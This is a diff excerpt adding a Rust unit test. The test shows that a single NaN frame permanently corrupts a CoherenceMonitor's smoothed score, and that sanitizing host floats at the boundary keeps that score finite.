+        use crate::coherence::CoherenceMonitor;
+
+        // Without sanitize: a single NaN frame poisons the EMA forever.
+        let mut poisoned = CoherenceMonitor::new();
+        poisoned.process_frame(&[0.1, 0.2, 0.3]); // init
+        let _ = poisoned.process_frame(&[f32::NAN, 0.2, 0.3]); // raw host NaN
+        // Subsequent *clean* frames can never restore a finite score.
+        for _ in 0..50 {
+            poisoned.process_frame(&[0.1, 0.2, 0.3]);
+        }
+        assert!(
+            poisoned.coherence_score().is_nan(),
+            "raw NaN should latch the smoothed coherence (documents the hazard)"
+        );
+
+        // With the boundary guard applied (what on_frame now does), the NaN is
+        // mapped to a finite value before it ever reaches the module.
+        let mut guarded = CoherenceMonitor::new();
+        let f = |x: f32| sanitize_host_f32(x);
+        guarded.process_frame(&[f(0.1), f(0.2), f(0.3)]); // init
+        let _ = guarded.process_frame(&[f(f32::NAN), f(0.2), f(0.3)]);
+        for _ in 0..50 {
+            guarded.process_frame(&[f(0.1), f(0.2), f(0.3)]);
+        }
+        assert!(
+            guarded.coherence_score().is_finite(),
+            "boundary-sanitized input keeps the module state finite"
+        );
+    }
+}